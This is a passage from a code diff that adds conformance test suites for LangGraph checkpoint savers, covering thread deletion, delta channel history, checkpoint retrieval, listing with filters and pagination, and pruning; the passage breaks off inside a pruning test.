test_delete_thread_removes_all_namespaces( + saver: BaseCheckpointSaver, +) -> None: + """Root + child namespaces both removed.""" + tid = str(uuid4()) + + for ns in ["", "child:1"]: + cfg = generate_config(tid, checkpoint_ns=ns) + cp = generate_checkpoint() + await saver.aput(cfg, cp, generate_metadata(), {}) + + # Pre-delete: verify each namespace has data + for ns in ["", "child:1"]: + pre = await saver.aget_tuple(generate_config(tid, checkpoint_ns=ns)) + assert pre is not None, f"Pre-delete: namespace '{ns}' should have data" + + await saver.adelete_thread(tid) + + for ns in ["", "child:1"]: + tup = await saver.aget_tuple(generate_config(tid, checkpoint_ns=ns)) + assert tup is None + + +async def test_delete_thread_preserves_other_threads( + saver: BaseCheckpointSaver, +) -> None: + """Other threads untouched.""" + tid1, tid2 = str(uuid4()), str(uuid4()) + + for tid in (tid1, tid2): + cfg = generate_config(tid) + cp = generate_checkpoint() + await saver.aput(cfg, cp, generate_metadata(), {}) + + await saver.adelete_thread(tid1) + + assert await saver.aget_tuple(generate_config(tid1)) is None + assert await saver.aget_tuple(generate_config(tid2)) is not None + + +async def test_delete_thread_nonexistent_noop( + saver: BaseCheckpointSaver, +) -> None: + """No error for missing thread.""" + # Should not raise + await saver.adelete_thread(str(uuid4())) + + +ALL_DELETE_THREAD_TESTS = [ + test_delete_thread_removes_checkpoints, + test_delete_thread_removes_writes, + test_delete_thread_removes_all_namespaces, + test_delete_thread_preserves_other_threads, + test_delete_thread_nonexistent_noop, +] + + +async def run_delete_thread_tests( + saver: BaseCheckpointSaver, + on_test_result: Callable[[str, str, bool, str | None], None] | None = None, +) -> tuple[int, int, list[str]]: + """Run all delete_thread tests. Returns (passed, failed, failure_names).""" + passed = 0 + failed = 0 + failures: list[str] = [] + for test_fn in ALL_DELETE_THREAD_TESTS: + try: + await test_fn(saver) + passed += 1 + if on_test_result: + on_test_result("delete_thread", test_fn.__name__, True, None) + except Exception as e: + failed += 1 + msg = f"{test_fn.__name__}: {e}" + failures.append(msg) + if on_test_result: + on_test_result( + "delete_thread", test_fn.__name__, False, traceback.format_exc() + ) + return passed, failed, failures diff --git a/libs/checkpoint-conformance/langgraph/checkpoint/conformance/spec/test_delta_channel_history.py b/libs/checkpoint-conformance/langgraph/checkpoint/conformance/spec/test_delta_channel_history.py new file mode 100644 index 0000000..06fddd5 --- /dev/null +++ b/libs/checkpoint-conformance/langgraph/checkpoint/conformance/spec/test_delta_channel_history.py @@ -0,0 +1,247 @@ +"""DELTA_CHANNEL_HISTORY capability tests — aget_delta_channel_history contract.""" + +from __future__ import annotations + +import traceback +from collections.abc import Callable +from uuid import uuid4 + +from langgraph.checkpoint.base import BaseCheckpointSaver + +from langgraph.checkpoint.conformance.spec._delta_fixtures import build_delta_chain + + +async def test_history_returns_writes_oldest_first( + saver: BaseCheckpointSaver, +) -> None: + """Writes are returned oldest-to-newest.""" + tid = str(uuid4()) + # 5 steps: snapshot at 0, writes at 1,2,3,4. + # Head is step 4. Walk starts at step 3 (parent of head). + # Collects writes from steps 1,2,3 (between snapshot at 0 and head's parent). + configs = await build_delta_chain( + saver, thread_id=tid, channel="ch", snapshots_at_steps=[0], total_steps=5 + ) + head = configs[-1] + result = await saver.aget_delta_channel_history(config=head, channels=["ch"]) + writes = result["ch"]["writes"] + values = [w[2] for w in writes] + assert values == [1, 2, 3], f"Expected [1,2,3], got {values}" + + +async def test_history_seed_is_nearest_snapshot( + saver: BaseCheckpointSaver, +) -> None: + """Seed is the value from the nearest ancestor with channel_values populated.""" + tid = str(uuid4()) + # 6 steps: snapshots at 0 and 3, writes at 1,2,4,5. + # Head is step 5. Walk from step 4 backward stops at step 3 (snapshot). + # Collects writes from step 4 only (between step 3 and head's parent step 4). + configs = await build_delta_chain( + saver, + thread_id=tid, + channel="ch", + snapshots_at_steps=[0, 3], + total_steps=6, + ) + head = configs[-1] + result = await saver.aget_delta_channel_history(config=head, channels=["ch"]) + assert "seed" in result["ch"], "Expected seed from snapshot at step 3" + seed = result["ch"]["seed"] + from langgraph.checkpoint.serde.types import _DeltaSnapshot + + actual_value = seed.value if isinstance(seed, _DeltaSnapshot) else seed + assert actual_value == 3, f"Expected seed value 3 (step 3), got {actual_value}" + writes = result["ch"]["writes"] + values = [w[2] for w in writes] + assert values == [4], f"Expected [4], got {values}" + + +async def test_history_excludes_target_pending_writes( + saver: BaseCheckpointSaver, +) -> None: + """Target's own pending_writes are NOT included in the history.""" + tid = str(uuid4()) + configs = await build_delta_chain( + saver, thread_id=tid, channel="ch", snapshots_at_steps=[0], total_steps=3 + ) + head = configs[-1] + # Add writes directly to the head checkpoint + await saver.aput_writes(head, [("ch", "extra")], str(uuid4())) + result = await saver.aget_delta_channel_history(config=head, channels=["ch"]) + writes = result["ch"]["writes"] + values = [w[2] for w in writes] + assert "extra" not in values, f"Target's writes should be excluded, got {values}" + + +async def test_history_multi_channel( + saver: BaseCheckpointSaver, +) -> None: + """Multiple channels have independent walk termination.""" + tid = str(uuid4()) + configs: list = [] + parent_cfg = None + from langgraph.checkpoint.base import Checkpoint + from langgraph.checkpoint.base.id import uuid6 + from langgraph.checkpoint.serde.types import _DeltaSnapshot + + from langgraph.checkpoint.conformance.test_utils import generate_metadata + + for step in range(5): + config = {"configurable": {"thread_id": tid, "checkpoint_ns": ""}} + if parent_cfg: + config["configurable"]["checkpoint_id"] = parent_cfg["configurable"][ + "checkpoint_id" + ] + cv: dict = {} + cvs: dict = {} + if step == 1: + cv["a"] = _DeltaSnapshot("snap_a") + cvs["a"] = step + 1 + if step == 3: + cv["b"] = _DeltaSnapshot("snap_b") + cvs["b"] = step + 1 + cp = Checkpoint( + v=1, + id=str(uuid6(clock_seq=-1)), + ts="", + channel_values=cv, + channel_versions=cvs, + versions_seen={}, + updated_channels=None, + ) + parent_cfg = await saver.aput(config, cp, generate_metadata(step=step), cvs) + configs.append(parent_cfg) + await saver.aput_writes(parent_cfg, [("a", step), ("b", step)], str(uuid4())) + + head = configs[-1] + result = await saver.aget_delta_channel_history(config=head, channels=["a", "b"]) + a_writes = [w[2] for w in result["a"]["writes"]] + b_writes = [w[2] for w in result["b"]["writes"]] + assert a_writes == [1, 2, 3], f"Expected a writes [1,2,3], got {a_writes}" + assert b_writes == [3], f"Expected b writes [3], got {b_writes}" + + +async def test_history_empty_channels_returns_empty( + saver: BaseCheckpointSaver, +) -> None: + """Empty channels list returns empty mapping.""" + tid = str(uuid4()) + configs = await build_delta_chain( + saver, thread_id=tid, channel="ch", snapshots_at_steps=[0], total_steps=3 + ) + result = await saver.aget_delta_channel_history(config=configs[-1], channels=[]) + assert result == {} + + +async def test_history_walk_to_root_no_seed( + saver: BaseCheckpointSaver, +) -> None: + """Walk reaches root without finding seed — no 'seed' key in result.""" + tid = str(uuid4()) + configs = await build_delta_chain( + saver, + thread_id=tid, + channel="ch", + snapshots_at_steps=[], + total_steps=4, + ) + head = configs[-1] + result = await saver.aget_delta_channel_history(config=head, channels=["ch"]) + assert "seed" not in result["ch"], f"Expected no seed, got {result['ch']}" + + +async def test_history_migration_plain_value_as_seed( + saver: BaseCheckpointSaver, +) -> None: + """Pre-delta plain value in channel_values acts as seed (migration case). + + When a thread was originally using a regular channel (BinaryOperatorAggregate) + and later switches to DeltaChannel, the old checkpoint has a plain value in + channel_values[ch] (not a _DeltaSnapshot). The walk should treat it as the + seed and terminate there. + """ + from langgraph.checkpoint.base import Checkpoint + from langgraph.checkpoint.base.id import uuid6 + + from langgraph.checkpoint.conformance.test_utils import generate_metadata + + tid = str(uuid4()) + configs: list = [] + parent_cfg = None + + for step in range(4): + config = {"configurable": {"thread_id": tid, "checkpoint_ns": ""}} + if parent_cfg: + config["configurable"]["checkpoint_id"] = parent_cfg["configurable"][ + "checkpoint_id" + ] + cv: dict = {} + cvs: dict = {} + # Step 1: plain value (migration case — old checkpoint before delta) + if step == 1: + cv["ch"] = [10, 20, 30] + cvs["ch"] = step + 1 + cp = Checkpoint( + v=1, + id=str(uuid6(clock_seq=-1)), + ts="", + channel_values=cv, + channel_versions=cvs, + versions_seen={}, + updated_channels=None, + ) + parent_cfg = await saver.aput(config, cp, generate_metadata(step=step), cvs) + configs.append(parent_cfg) + if step != 1: + await saver.aput_writes(parent_cfg, [("ch", step)], str(uuid4())) + + head = configs[-1] + result = await saver.aget_delta_channel_history(config=head, channels=["ch"]) + # Seed should be the plain value from step 1 + assert "seed" in result["ch"], "Expected seed from migration plain value at step 1" + seed = result["ch"]["seed"] + assert seed == [10, 20, 30], f"Expected plain value [10,20,30], got {seed}" + # Writes should be from step 2 only (between seed at step 1 and head's parent step 2) + writes = result["ch"]["writes"] + values = [w[2] for w in writes] + assert values == [2], f"Expected [2], got {values}" + + +ALL_DELTA_CHANNEL_HISTORY_TESTS = [ + test_history_returns_writes_oldest_first, + test_history_seed_is_nearest_snapshot, + test_history_excludes_target_pending_writes, + test_history_multi_channel, + test_history_empty_channels_returns_empty, + test_history_walk_to_root_no_seed, + test_history_migration_plain_value_as_seed, +] + + +async def run_delta_channel_history_tests( + saver: BaseCheckpointSaver, + on_test_result: Callable[[str, str, bool, str | None], None] | None = None, +) -> tuple[int, int, list[str]]: + """Run all delta_channel_history tests. Returns (passed, failed, failure_names).""" + passed = 0 + failed = 0 + failures: list[str] = [] + for test_fn in ALL_DELTA_CHANNEL_HISTORY_TESTS: + try: + await test_fn(saver) + passed += 1 + if on_test_result: + on_test_result("delta_channel_history", test_fn.__name__, True, None) + except Exception: + failed += 1 + msg = f"{test_fn.__name__}: {traceback.format_exc()}" + failures.append(msg) + if on_test_result: + on_test_result( + "delta_channel_history", + test_fn.__name__, + False, + traceback.format_exc(), + ) + return passed, failed, failures diff --git a/libs/checkpoint-conformance/langgraph/checkpoint/conformance/spec/test_get_tuple.py b/libs/checkpoint-conformance/langgraph/checkpoint/conformance/spec/test_get_tuple.py new file mode 100644 index 0000000..efaf9e6 --- /dev/null +++ b/libs/checkpoint-conformance/langgraph/checkpoint/conformance/spec/test_get_tuple.py @@ -0,0 +1,253 @@ +"""GET_TUPLE capability tests — aget_tuple retrieval.""" + +from __future__ import annotations + +import traceback +from collections.abc import Callable +from uuid import uuid4 + +from langgraph.checkpoint.base import BaseCheckpointSaver + +from langgraph.checkpoint.conformance.test_utils import ( + generate_checkpoint, + generate_config, + generate_metadata, +) + + +async def test_get_tuple_nonexistent_returns_none( + saver: BaseCheckpointSaver, +) -> None: + """Missing thread returns None.""" + config = generate_config(str(uuid4())) + tup = await saver.aget_tuple(config) + assert tup is None + + +async def test_get_tuple_latest_when_no_checkpoint_id( + saver: BaseCheckpointSaver, +) -> None: + """Returns newest checkpoint when no checkpoint_id in config.""" + tid = str(uuid4()) + ids = [] + parent_cfg = None + for i in range(3): + config = generate_config(tid) + if parent_cfg: + config["configurable"]["checkpoint_id"] = parent_cfg["configurable"][ + "checkpoint_id" + ] + cp = generate_checkpoint() + parent_cfg = await saver.aput(config, cp, generate_metadata(step=i), {}) + ids.append(cp["id"]) + + # Get without checkpoint_id — should return the latest + tup = await saver.aget_tuple(generate_config(tid)) + assert tup is not None + assert tup.checkpoint["id"] == ids[-1] + assert tup.metadata["step"] == 2, ( + f"Expected latest step=2, got {tup.metadata['step']}" + ) + + +async def test_get_tuple_specific_checkpoint_id( + saver: BaseCheckpointSaver, +) -> None: + """Returns exact match when checkpoint_id specified.""" + tid = str(uuid4()) + + config1 = generate_config(tid) + cp1 = generate_checkpoint() + stored1 = await saver.aput(config1, cp1, generate_metadata(step=0), {}) + + config2 = generate_config(tid) + config2["configurable"]["checkpoint_id"] = stored1["configurable"]["checkpoint_id"] + cp2 = generate_checkpoint() + await saver.aput(config2, cp2, generate_metadata(step=1), {}) + + # Fetch the first one specifically + tup = await saver.aget_tuple(stored1) + assert tup is not None + assert tup.checkpoint["id"] == cp1["id"] + + +async def test_get_tuple_config_structure(saver: BaseCheckpointSaver) -> None: + """tuple.config has thread_id, checkpoint_ns, checkpoint_id.""" + tid = str(uuid4()) + config = generate_config(tid) + cp = generate_checkpoint() + stored = await saver.aput(config, cp, generate_metadata(), {}) + + tup = await saver.aget_tuple(stored) + assert tup is not None + conf = tup.config["configurable"] + assert conf["thread_id"] == tid + assert conf.get("checkpoint_ns", "") == "", ( + f"Expected checkpoint_ns='', got {conf.get('checkpoint_ns')!r}" + ) + assert conf["checkpoint_id"] == cp["id"] + + +async def test_get_tuple_checkpoint_fields(saver: BaseCheckpointSaver) -> None: + """All Checkpoint fields present.""" + tid = str(uuid4()) + config = generate_config(tid) + cp = generate_checkpoint(channel_values={"k": "v"}) + cp["channel_versions"] = {"k": 1} + stored = await saver.aput(config, cp, generate_metadata(), {"k": 1}) + + tup = await saver.aget_tuple(stored) + assert tup is not None + c = tup.checkpoint + assert c["id"] == cp["id"], f"id mismatch: {c['id']!r} != {cp['id']!r}" + assert c["v"] == 1, f"Expected v=1, got {c['v']!r}" + assert "ts" in c and c["ts"], "ts should be non-empty" + assert c["channel_values"] == {"k": "v"}, f"channel_values: {c['channel_values']!r}" + assert "channel_versions" in c + assert "versions_seen" in c + + +async def test_get_tuple_metadata(saver: BaseCheckpointSaver) -> None: + """metadata populated correctly.""" + tid = str(uuid4()) + config = generate_config(tid) + cp = generate_checkpoint() + md = generate_metadata(source="input", step=-1) + stored = await saver.aput(config, cp, md, {}) + + tup = await saver.aget_tuple(stored) + assert tup is not None + assert tup.metadata["source"] == "input" + assert tup.metadata["step"] == -1 + + +async def test_get_tuple_parent_config(saver: BaseCheckpointSaver) -> None: + """parent_config when parent exists, None otherwise.""" + tid = str(uuid4()) + + # First checkpoint — no parent + config1 = generate_config(tid) + cp1 = generate_checkpoint() + stored1 = await saver.aput(config1, cp1, generate_metadata(step=0), {}) + + tup1 = await saver.aget_tuple(stored1) + assert tup1 is not None + assert tup1.parent_config is None + + # Second checkpoint — has parent + config2 = generate_config(tid) + config2["configurable"]["checkpoint_id"] = stored1["configurable"]["checkpoint_id"] + cp2 = generate_checkpoint() + stored2 = await saver.aput(config2, cp2, generate_metadata(step=1), {}) + + tup2 = await saver.aget_tuple(stored2) + assert tup2 is not None + assert tup2.parent_config is not None + assert ( + tup2.parent_config["configurable"]["checkpoint_id"] + == stored1["configurable"]["checkpoint_id"] + ) + + +async def test_get_tuple_pending_writes(saver: BaseCheckpointSaver) -> None: + """pending_writes from put_writes visible.""" + tid = str(uuid4()) + config = generate_config(tid) + cp = generate_checkpoint() + stored = await saver.aput(config, cp, generate_metadata(), {}) + + task_id = str(uuid4()) + await saver.aput_writes(stored, [("ch", "val")], task_id) + + tup = await saver.aget_tuple(stored) + assert tup is not None + assert tup.pending_writes is not None + assert len(tup.pending_writes) == 1, ( + f"Expected 1 write, got {len(tup.pending_writes)}" + ) + assert tup.pending_writes[0][0] == task_id, ( + f"task_id mismatch: {tup.pending_writes[0][0]!r}" + ) + assert tup.pending_writes[0][1] == "ch", ( + f"channel mismatch: {tup.pending_writes[0][1]!r}" + ) + assert tup.pending_writes[0][2] == "val", ( + f"value mismatch: {tup.pending_writes[0][2]!r}" + ) + + +async def test_get_tuple_respects_namespace(saver: BaseCheckpointSaver) -> None: + """checkpoint_ns filtering.""" + tid = str(uuid4()) + + cfg_root = generate_config(tid, checkpoint_ns="") + cp_root = generate_checkpoint() + stored_root = await saver.aput(cfg_root, cp_root, generate_metadata(), {}) + + cfg_child = generate_config(tid, checkpoint_ns="child:1") + cp_child = generate_checkpoint() + stored_child = await saver.aput(cfg_child, cp_child, generate_metadata(), {}) + + tup_root = await saver.aget_tuple(stored_root) + assert tup_root is not None + assert tup_root.checkpoint["id"] == cp_root["id"] + + tup_child = await saver.aget_tuple(stored_child) + assert tup_child is not None + assert tup_child.checkpoint["id"] == cp_child["id"] + + +async def test_get_tuple_nonexistent_checkpoint_id( + saver: BaseCheckpointSaver, +) -> None: + """Specific but missing checkpoint_id returns None.""" + tid = str(uuid4()) + nonexistent_id = str(uuid4()) + # Put one checkpoint so the thread exists + config = generate_config(tid) + cp = generate_checkpoint() + await saver.aput(config, cp, generate_metadata(), {}) + + # Ask for a non-existent checkpoint_id + bad_cfg = generate_config(tid, checkpoint_id=nonexistent_id) + tup = await saver.aget_tuple(bad_cfg) + assert tup is None + + +ALL_GET_TUPLE_TESTS = [ + test_get_tuple_nonexistent_returns_none, + test_get_tuple_latest_when_no_checkpoint_id, + test_get_tuple_specific_checkpoint_id, + test_get_tuple_config_structure, + test_get_tuple_checkpoint_fields, + test_get_tuple_metadata, + test_get_tuple_parent_config, + test_get_tuple_pending_writes, + test_get_tuple_respects_namespace, + test_get_tuple_nonexistent_checkpoint_id, +] + + +async def run_get_tuple_tests( + saver: BaseCheckpointSaver, + on_test_result: Callable[[str, str, bool, str | None], None] | None = None, +) -> tuple[int, int, list[str]]: + """Run all get_tuple tests. Returns (passed, failed, failure_names).""" + passed = 0 + failed = 0 + failures: list[str] = [] + for test_fn in ALL_GET_TUPLE_TESTS: + try: + await test_fn(saver) + passed += 1 + if on_test_result: + on_test_result("get_tuple", test_fn.__name__, True, None) + except Exception as e: + failed += 1 + msg = f"{test_fn.__name__}: {e}" + failures.append(msg) + if on_test_result: + on_test_result( + "get_tuple", test_fn.__name__, False, traceback.format_exc() + ) + return passed, failed, failures diff --git a/libs/checkpoint-conformance/langgraph/checkpoint/conformance/spec/test_list.py b/libs/checkpoint-conformance/langgraph/checkpoint/conformance/spec/test_list.py new file mode 100644 index 0000000..3d1e20a --- /dev/null +++ b/libs/checkpoint-conformance/langgraph/checkpoint/conformance/spec/test_list.py @@ -0,0 +1,384 @@ +"""LIST capability tests — alist with various filters.""" + +from __future__ import annotations + +import traceback +from collections.abc import Callable +from typing import cast +from uuid import uuid4 + +from langgraph.checkpoint.base import BaseCheckpointSaver + +from langgraph.checkpoint.conformance.test_utils import ( + generate_checkpoint, + generate_config, + generate_metadata, +) + + +async def _setup_list_data(saver: BaseCheckpointSaver) -> dict: + """Populate saver with test data for list tests. Returns lookup info.""" + tid = str(uuid4()) + ids = [] + parent_cfg = None + for i in range(4): + config = generate_config(tid) + if parent_cfg: + config["configurable"]["checkpoint_id"] = parent_cfg["configurable"][ + "checkpoint_id" + ] + cp = generate_checkpoint() + source = "input" if i % 2 == 0 else "loop" + md = generate_metadata(source=source, step=i) + parent_cfg = await saver.aput(config, cp, md, {}) + ids.append(cp["id"]) + + return { + "thread_id": tid, + "checkpoint_ids": ids, + "latest_config": parent_cfg, + } + + +async def test_list_all(saver: BaseCheckpointSaver) -> None: + """No filters returns all checkpoints for the thread.""" + data = await _setup_list_data(saver) + tid = data["thread_id"] + + results = [] + async for tup in saver.alist(generate_config(tid)): + results.append(tup) + + assert len(results) == 4 + + +async def test_list_by_thread(saver: BaseCheckpointSaver) -> None: + """Filter by thread_id — other threads not returned.""" + data = await _setup_list_data(saver) + + # List for a non-existent thread + results = [] + async for tup in saver.alist(generate_config(str(uuid4()))): + results.append(tup) + assert len(results) == 0 + + # List for actual thread + results = [] + async for tup in saver.alist(generate_config(data["thread_id"])): + results.append(tup) + assert len(results) == 4 + + +async def test_list_by_namespace(saver: BaseCheckpointSaver) -> None: + """Filter by checkpoint_ns.""" + tid = str(uuid4()) + + # Root namespace + cfg1 = generate_config(tid, checkpoint_ns="") + cp1 = generate_checkpoint() + await saver.aput(cfg1, cp1, generate_metadata(), {}) + + # Child namespace + cfg2 = generate_config(tid, checkpoint_ns="child:1") + cp2 = generate_checkpoint() + await saver.aput(cfg2, cp2, generate_metadata(), {}) + + root_results = [] + async for tup in saver.alist(generate_config(tid, checkpoint_ns="")): + root_results.append(tup) + assert len(root_results) == 1 + + child_results = [] + async for tup in saver.alist(generate_config(tid, checkpoint_ns="child:1")): + child_results.append(tup) + assert len(child_results) == 1 + + +async def test_list_ordering(saver: BaseCheckpointSaver) -> None: + """Newest first (descending checkpoint_id).""" + data = await _setup_list_data(saver) + ids = data["checkpoint_ids"] + + results = [] + async for tup in saver.alist(generate_config(data["thread_id"])): + results.append(tup.checkpoint["id"]) + + # Should be in reverse order (newest first) + assert results == list(reversed(ids)) + + +async def test_list_metadata_filter_single_key( + saver: BaseCheckpointSaver, +) -> None: + """filter={'source': 'input'} returns only input checkpoints.""" + data = await _setup_list_data(saver) + + results = [] + async for tup in saver.alist( + generate_config(data["thread_id"]), + filter={"source": "input"}, + ): + results.append(tup) + + assert len(results) == 2, ( + f"Expected 2 'input' checkpoints (steps 0,2), got {len(results)}" + ) + for tup in results: + assert tup.metadata["source"] == "input" + + +async def test_list_metadata_filter_step(saver: BaseCheckpointSaver) -> None: + """filter={'step': 1} returns matching checkpoints.""" + data = await _setup_list_data(saver) + + results = [] + async for tup in saver.alist( + generate_config(data["thread_id"]), + filter={"step": 1}, + ): + results.append(tup) + + assert len(results) == 1 + assert results[0].metadata["step"] == 1 + + +async def test_list_before(saver: BaseCheckpointSaver) -> None: + """Pagination cursor — only checkpoints before the given one.""" + data = await _setup_list_data(saver) + ids = data["checkpoint_ids"] + + # Use the 3rd checkpoint as the 'before' cursor (index 2) + before_cfg = generate_config(data["thread_id"], checkpoint_id=ids[2]) + results = [] + async for tup in saver.alist( + generate_config(data["thread_id"]), + before=before_cfg, + ): + results.append(tup) + + # Should only include checkpoints before ids[2] + result_ids = [t.checkpoint["id"] for t in results] + assert ids[2] not in result_ids + assert ids[3] not in result_ids + assert set(result_ids) == {ids[0], ids[1]}, ( + f"Expected {{ids[0], ids[1]}}, got {set(result_ids)}" + ) + + +async def test_list_limit(saver: BaseCheckpointSaver) -> None: + """limit=1, limit=N.""" + data = await _setup_list_data(saver) + + results = [] + async for tup in saver.alist(generate_config(data["thread_id"]), limit=1): + results.append(tup) + assert len(results) == 1 + + results = [] + async for tup in saver.alist(generate_config(data["thread_id"]), limit=2): + results.append(tup) + assert len(results) == 2 + + +async def test_list_limit_plus_before(saver: BaseCheckpointSaver) -> None: + """Pagination with limit.""" + data = await _setup_list_data(saver) + ids = data["checkpoint_ids"] + + before_cfg = generate_config(data["thread_id"], checkpoint_id=ids[3]) + results = [] + async for tup in saver.alist( + generate_config(data["thread_id"]), + before=before_cfg, + limit=1, + ): + results.append(tup) + + assert len(results) == 1 + assert results[0].checkpoint["id"] == ids[2] + + +async def test_list_combined_thread_and_filter( + saver: BaseCheckpointSaver, +) -> None: + """thread_id + metadata filter combined.""" + data = await _setup_list_data(saver) + + results = [] + async for tup in saver.alist( + generate_config(data["thread_id"]), + filter={"source": "loop"}, + ): + results.append(tup) + + assert len(results) == 2, ( + f"Expected 2 'loop' checkpoints (steps 1,3), got {len(results)}" + ) + for tup in results: + assert tup.metadata["source"] == "loop" + + +async def test_list_empty_result(saver: BaseCheckpointSaver) -> None: + """No matches returns empty.""" + results = [] + async for tup in saver.alist( + generate_config(str(uuid4())), + filter={"source": "nonexistent"}, + ): + results.append(tup) + assert len(results) == 0 + + +async def test_list_includes_pending_writes(saver: BaseCheckpointSaver) -> None: + """pending_writes in listed tuples.""" + tid = str(uuid4()) + config = generate_config(tid) + cp = generate_checkpoint() + stored = await saver.aput(config, cp, generate_metadata(), {}) + + await saver.aput_writes(stored, [("ch", "val")], str(uuid4())) + + results = [] + async for tup in saver.alist(generate_config(tid)): + results.append(tup) + + assert len(results) == 1 + assert results[0].pending_writes is not None + assert len(results[0].pending_writes) == 1, ( + f"Expected 1 write, got {len(results[0].pending_writes)}" + ) + assert results[0].pending_writes[0][1] == "ch", ( + f"channel mismatch: {results[0].pending_writes[0][1]!r}" + ) + assert results[0].pending_writes[0][2] == "val", ( + f"value mismatch: {results[0].pending_writes[0][2]!r}" + ) + + +async def test_list_multiple_namespaces(saver: BaseCheckpointSaver) -> None: + """Root namespace checkpoint listed correctly.""" + tid = str(uuid4()) + + for ns in ["", "child:1", "child:2"]: + cfg = generate_config(tid, checkpoint_ns=ns) + cp = generate_checkpoint() + await saver.aput(cfg, cp, generate_metadata(), {}) + + # List with root namespace filter — should return exactly the root checkpoint + results = [] + async for tup in saver.alist(generate_config(tid, checkpoint_ns="")): + results.append(tup) + assert len(results) == 1, f"Expected 1 root checkpoint, got {len(results)}" + + +async def test_list_metadata_filter_multiple_keys( + saver: BaseCheckpointSaver, +) -> None: + """filter with multiple keys — all must match.""" + tid = str(uuid4()) + + # Create checkpoints with different metadata combos + for source, step in [("input", 1), ("loop", 1), ("input", 2)]: + cfg = generate_config(tid) + cp = generate_checkpoint() + await saver.aput(cfg, cp, generate_metadata(source=source, step=step), {}) + + results = [] + async for tup in saver.alist( + generate_config(tid), + filter={"source": "input", "step": 2}, + ): + results.append(tup) + + assert len(results) == 1, ( + f"Expected 1 match for source=input+step=2, got {len(results)}" + ) + assert results[0].metadata["source"] == "input" + assert results[0].metadata["step"] == 2 + + +async def test_list_metadata_filter_no_match( + saver: BaseCheckpointSaver, +) -> None: + """Multi-key filter that matches nothing returns empty.""" + data = await _setup_list_data(saver) + + results = [] + async for tup in saver.alist( + generate_config(data["thread_id"]), + filter={"source": "update", "step": 99}, + ): + results.append(tup) + + assert len(results) == 0 + + +async def test_list_metadata_custom_keys( + saver: BaseCheckpointSaver, +) -> None: + """Custom (non-standard) metadata keys are filterable.""" + tid = str(uuid4()) + + cfg = generate_config(tid) + cp = generate_checkpoint() + await saver.aput(cfg, cp, generate_metadata(score=42, run_id="run-abc"), {}) + + cfg2 = generate_config(tid) + cp2 = generate_checkpoint() + await saver.aput(cfg2, cp2, generate_metadata(score=99, run_id="run-xyz"), {}) + + # Filter by custom key + results = [] + async for tup in saver.alist( + generate_config(tid), + filter={"score": 42}, + ): + results.append(tup) + + assert len(results) == 1 + metadata = cast(dict[str, object], results[0].metadata) + assert metadata["score"] == 42 + assert metadata["run_id"] == "run-abc" + + +ALL_LIST_TESTS = [ + test_list_all, + test_list_by_thread, + test_list_by_namespace, + test_list_ordering, + test_list_metadata_filter_single_key, + test_list_metadata_filter_step, + test_list_metadata_filter_multiple_keys, + test_list_metadata_filter_no_match, + test_list_metadata_custom_keys, + test_list_before, + test_list_limit, + test_list_limit_plus_before, + test_list_combined_thread_and_filter, + test_list_empty_result, + test_list_includes_pending_writes, + test_list_multiple_namespaces, +] + + +async def run_list_tests( + saver: BaseCheckpointSaver, + on_test_result: Callable[[str, str, bool, str | None], None] | None = None, +) -> tuple[int, int, list[str]]: + """Run all list tests. Returns (passed, failed, failure_names).""" + passed = 0 + failed = 0 + failures: list[str] = [] + for test_fn in ALL_LIST_TESTS: + try: + await test_fn(saver) + passed += 1 + if on_test_result: + on_test_result("list", test_fn.__name__, True, None) + except Exception as e: + failed += 1 + msg = f"{test_fn.__name__}: {e}" + failures.append(msg) + if on_test_result: + on_test_result("list", test_fn.__name__, False, traceback.format_exc()) + return passed, failed, failures diff --git a/libs/checkpoint-conformance/langgraph/checkpoint/conformance/spec/test_prune.py b/libs/checkpoint-conformance/langgraph/checkpoint/conformance/spec/test_prune.py new file mode 100644 index 0000000..a1d34f9 --- /dev/null +++ b/libs/checkpoint-conformance/langgraph/checkpoint/conformance/spec/test_prune.py @@ -0,0 +1,217 @@ +"""PRUNE capability tests — aprune(strategy).""" + +from __future__ import annotations + +import traceback +from collections.abc import Callable +from uuid import uuid4 + +from langgraph.checkpoint.base import BaseCheckpointSaver + +from langgraph.checkpoint.conformance.test_utils import ( + generate_checkpoint, + generate_config, + generate_metadata, +) + + +async def _setup_thread(saver: BaseCheckpointSaver, tid: str, n: int = 3) -> list[dict]: + """Create n checkpoints on tid. Returns stored configs.""" + stored = [] + parent_cfg = None + for i in range(n): + config = generate_config(tid) + if parent_cfg: + config["configurable"]["checkpoint_id"] = parent_cfg["configurable"][ + "checkpoint_id" + ] + cp = generate_checkpoint() + parent_cfg = await saver.aput(config, cp, generate_metadata(step=i), {}) + stored.append(parent_cfg) + return stored + + +async def test_prune_keep_latest_single_thread( + saver: BaseCheckpointSaver, +) -> None: + """Only latest checkpoint survives.""" + tid = str(uuid4()) + configs = await _setup_thread(saver, tid, n=4) + + await saver.aprune([tid], strategy="keep_latest") + results = [] + async for tup in saver.alist(generate_config(tid)): + results.append(tup) + + assert len(results) == 1 + assert ( + results[0].config["configurable"]["checkpoint_id"] + == configs[-1]["configurable"]["checkpoint_id"] + ) + + +async def test_prune_keep_latest_multiple_threads( + saver: BaseCheckpointSaver, +) -> None: + """Each thread keeps its latest.""" + tid1, tid2 = str(uuid4()), str(uuid4()) + c1 = await _setup_thread(saver, tid1, n=3) + c2 = await _setup_thread(saver, tid2, n=2) + + await saver.aprune([tid1, tid2], strategy="keep_latest") + for tid, expected_last in [(tid1, c1[-1]), (tid2, c2[-1])]: + results = [] + async for tup in saver.alist(generate_config(tid)): + results.append(tup) + assert len(results) == 1 + assert ( + results[0].config["configurable"]["checkpoint_id"] + == expected_last["configurable"]["checkpoint_id"] + ) + + +async def test_prune_keep_latest_across_namespaces( + saver: BaseCheckpointSaver, +) -> None: + """Latest per namespace kept.""" + tid = str(uuid4()) + + # Root namespace: 3 checkpoints + parent = None + for i in range(3): + cfg = generate_config(tid, checkpoint_ns="") + if parent: + cfg["configurable"]["checkpoint_id"] = parent["configurable"][ + "checkpoint_id" + ] + cp = generate_checkpoint() + parent = await saver.aput(cfg, cp, generate_metadata(step=i), {}) + root_latest = parent + + # Child namespace: 2 checkpoints + parent = None + for i in range(2): + cfg = generate_config(tid, checkpoint_ns="child:1") + if parent: + cfg["configurable"]["checkpoint_id"] = parent["configurable"][ + "checkpoint_id" + ] + cp = generate_checkpoint() + parent = await saver.aput(cfg, cp, generate_metadata(step=i), {}) + child_latest = parent + + assert root_latest is not None + assert child_latest is not None + await saver.aprune([tid], strategy="keep_latest") + for ns, expected in [("", root_latest), ("child:1", child_latest)]: + results = [] + async for tup in saver.alist(generate_config(tid, checkpoint_ns=ns)): + results.append(tup) + assert len(results) == 